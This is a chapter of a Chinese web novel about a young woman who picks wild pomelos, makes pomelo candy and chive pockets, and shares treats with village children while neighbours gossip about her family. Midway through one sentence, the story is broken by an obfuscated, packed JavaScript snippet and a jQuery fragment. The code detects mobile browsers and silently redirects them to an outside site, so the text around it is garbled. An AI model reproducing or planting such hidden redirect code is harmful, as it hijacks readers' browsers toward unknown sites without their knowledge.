【酸甜柚子糖】
山上所见无一不是枯叶掉尽略显孤零的树干,透过稀疏的遮挡,远处的那抹颜色一下就撞进了章玄玉的眼中。
尤其是上面挂的那抹鲜艳的黄色。
打算随便逛逛放松心情的她,这下也顾不上散心了,加快脚步奋力往上爬着,双手还不忘死死地拽着干燥些的树干。
这会的章玄玉,腰不酸了腿也不疼了。
浑身气力被新发现调动了起来,连呼吸都重了几分。
短短五十米的垂直距离,她只觉地自己快要命丧于此。
这些没有人特意打理的山林尤其难走。
外加,刚经过雨水洗涤的山路,如同会泄劲的大师傅一般。
她向上一步还没站稳,就得下滑一半。
折腾了半天,章玄玉这才碰上了长在半山腰的野柚树。
树上的果实表面坑坑洼洼的,有的露出了白色的瓤衣,有的还挂着调皮鸟儿的新鲜粪便,满眼望过去让人有些难以直视。
不过章玄玉却不是什么讲究人,根本不影响她在脑子里想着柚子糖的做法。
越靠近树的顶端的地方,果实越多。
细细的枝条被小小的柚子压弯,颇有种再多些就要断裂的错觉。
然而站在树下兴奋半天的章玄玉,正在想办法把上面的野柚子给弄下来。
思来想去,她终究还是选择拍拍手爬了上去。
所幸这颗野柚树不是很高,主干分叉点也就一米五的样子,她很轻松的就站在上面,布鞋稳稳的踩在粗壮的树干上,手上的动作很是干脆利落。
只见手掌大小的野柚一个个从树上掉落。
顶端的果柄在撞击到泥土时折断不少,果皮被黄褐色的泥土亲密接触后,更显脏乱难看。
一刻钟的功夫,野柚树上处于位置较低的果实被章玄玉摘了个干净。
再往上的地方非得拿网子勾下来不可。
她也是见好就收,不再肖想现在没法办到的,利落的从树上跳下,落在了果实不密集的地方。
采摘时刻意留下的叶柄,是章玄玉拿来把果实打结的,她就这样在肩膀、双臂、手上甚至腰间都系上了大大小小的野柚。
下山时,动作受限的当事人行进得很是痛苦。
哪怕到了村头,她的奇怪造型也引的在河边玩水的小孩哈哈乱笑。
正拿树枝和泥的章云琛抬起头来,看见了自己阿姐的窘迫。
果断站起招呼着玩伴呼呼啦啦地跑了过去。
每人双手各环一个,往章家走去。
章云琛看着阿姐这样大费周章,有些疑惑道:“阿姐,你拽黄果果回来干什么?这个剥出来就拳头大小,还酸涩难吃。”
“你等我给你做个好吃的。”章玄玉故意买了个关子。
“什么吃的?章阿姐,我们能吃吗?一点点就行。”二蛋听到吃的就走不动,也不知道他正在想什么,嘴角还挂上了晶莹的口水。
小孩们接着二蛋的话叽叽喳喳着。
“我也要!”
“阿姐,我也要!”
……
章玄玉看着这群活泼的小孩,温柔开口道:“哈哈哈,那你们可得多等一会儿,着急可就吃不上了。”
“要等的,我们要等的。”
“我阿娘说,章阿姐做的饭可好吃了。”
“那香味隔着远远的院墙都能传到我的鼻子里。”
……
跟章云琛玩的好的几个小男郎向其他人介绍着,时不时还推着章云琛跟别人解释他阿姐最会做什么。
一路上都伴着孩子们银铃般的讲话声。
当蹦蹦跳跳的十几人终于到了章家院子,屋里的徐阿爹拿出章云琛的零嘴,分给这些小朋友。
只有章云琛受伤的条件达成了。
本来还笑嘻嘻的他,嘴角霎时就耷拉下来,有些不满的噘了嘴。
然而小孩的脸色像六月的天说变就变。
这边章云琛还没来得及抗议,他身边的小女娘就大口吃着手里的红枣糕,吃着还不忘夸赞,圆溜溜的眼睛看向章云琛道:“哇,阿琛你快尝尝,真的好好吃啊!”
说着就把手中的糕点递到对方嘴边,然而她的眼神全部放在红枣糕上,心里还在乞讨阿琛不要吃。
但年龄尚小的章云琛看着她不舍的眼神,还是慢悠悠咬上了一口。
没等到卫惜月因为红枣糕少上了一口而难过,章云琛就把自己手里的那块递给了对方,小声的说:“太甜了,我不太喜欢,这块儿也给你吧。”
得了两块糕点的卫惜月,脸上挂上了大大的笑容:“真的吗!阿琛你真好!”
本来还有点不高兴的他,这会又笑了起来。
这边的小插曲,身处灶房的章玄玉完全不知晓,这时她正忙着处理这些柚子,只听着庭院的笑闹声渐渐转移到了门外。
手中的菜刀在柚子上飞舞着,完整的将果瓤被剥离出来。
等全部处理过后,章玄玉把柚子皮的黄色的外皮削去,每张白瓤都被切成不大的小丁,放在装着清水的木盆里放置备用,准备浸泡一晚去除苦味,剩余果肉则被章玄玉剥开,饱满的果肉从中弹出落在了准备好的大碗中。
一切准备就绪,就等明日放糖炒制。
时间过得很快,也就一眨眼眼的功夫,就到了翌日清晨。
重新站在灶房里的章玄玉感觉全身都充满了干劲,面盆里的杂面加上了热水搅拌,和出做韭菜盒子需要的烫面。
和好后,她将烫面团移至案板上揉到光滑,才盖上湿布静置两刻钟。
早已清洗过的韭菜表面已经没了水痕,按照合适的距离下刀将其切成小丁,切好后淋上融化的猪油,再下入炒制金黄的鸡蛋,自制的调味料撒在上面,用筷子搅拌均匀后放在一边。
拿出面团揉匀,在案板上搓成长长的一条,分成大小均匀的小剂子,用擀面杖将其擀成中间厚四边微薄的圆形面皮。
放入适量的馅料,将其包裹成圆圆的面团,用手压平后放入平底锅当中。
滋啦一声响,白嫩的面皮在大火的煎炸下,底部已经开始变化,经过章玄玉的多次翻面,韭菜盒子被煎至两面金黄,里面的馅料在高温下熟透,逸散出属于韭菜和鸡蛋交织的香味。
金黄的面皮脆脆的,咬入口中会发出咔嚓咔嚓的响声,面皮碎裂后释放出里面紧实的馅料,被包裹的香味终于争先恐后的涌出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612316|172179||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,让人越嚼越香。
拿来下水的一斤韭菜,做出了十多个韭菜盒子。
章玄玉打算明日上新时一个按三文钱来卖,买韭菜盒子外送一颗柚子糖,用来压下残留在口中的韭菜味道。
这样想着,她又将浸泡在水里的柚子丁和果肉,分开放入沸腾的开水中煮了一遍,果粒在水中破裂后加入把白砂糖,将其熬制粘稠后放入攥干水分的柚子丁,炒至锅边挂霜,糖水全部凝结在柚子丁上。
满满一大锅的柚子糖就这样做好了。
而身后站着的章云琛早就等不及了,他已经吃了好几个韭菜盒子,现在想尝尝梦了一晚的柚子糖。
等它们在锅里冷凉,他就急不可待的抓了两三颗放进口中。
指节大小的糖块被放入口中,酸甜的糖霜在舌尖化开,带着沁凉的感觉,柚子皮特有的清香静静在唇齿间流转,中和了糖分的腻感,给人一种说不上来的清新。
一连放入口中十几粒后,章云琛再次往嘴里塞糖的行为却被章玄玉制止。
“不可再吃了,小心你的牙,昨天要分给小伙伴的事情别忘了。”
要说章云琛能迅速融入卫溪村小孩的队伍中,少不了他阿姐出力,各种各样的零嘴没少分享给他们。
小家伙们看在好吃的份上,也很是照顾章云琛。
每次小弟出门,章玄玉都不会担心他会受欺负。
没有老天爷的作对,重新闲下来的卫溪村再次回归平静,只有村旁河边,几个浣衣男男女女蹲在溪边说着什么,引得几人一阵哄笑。
脸颊干瘦的男人满脸酸气:“外乡人就是精,拿粗粮换铜板……”话音未落,刘寡妇直接打断,放下手中的杵衣棒看向那人:“人家家里的吃食,可没少进你家二蛋嘴里,得了好处还在这说什么!”
男人正是二蛋的亲爹溪元,村里出了名的爱嚼舌根。
刘寡妇可没少在对方嘴里占过便宜。
然而她的话算是再次挑起了话头,搓洗衣服的几人纷纷夸起了新来的章家会做人,老实本分云云。
围在几个大人身边的小孩也在应和着。
昨天吃了两块红枣糕的卫惜月,不愿听有人讲章云琛他家的坏话:“云琛阿爹对我们可好了,昨个还给我们吃枣糕。”肉乎乎的小脸上满是认真。
不懂自家阿爹脸色的二蛋同样张口附和:“嗯嗯,阿爹枣糕可好吃了!”
“去去去,大人讲话小孩插什么嘴。”溪元怕面子上挂不住,连忙撵走了捣乱的二蛋,找补道,“也没说章家有什么不好,就是他们逃难来了个把月,这日子过得却比咱村人都滋润。”
尽管章家被里正安排落户时,他们也在自家门前远远地看上过几眼的。
先不说蓬头垢面的大人,就单是瘦弱的小男郎都让他们唏嘘不已。
然而短短的时间里,在他们眼中贫困的章家,却过得比他们在场的几个都好,提起时怎么不让人心里发酸?
溪元是嘴上没把门,有什么说什么,可谁知那些口中褒奖不断的人家,心里是怎么想的?
还没继续往下说,孩子们围成的小圈里爆发出了一阵欢呼。
章云琛吃过饭就带着阿姐用油纸装的柚子糖来了。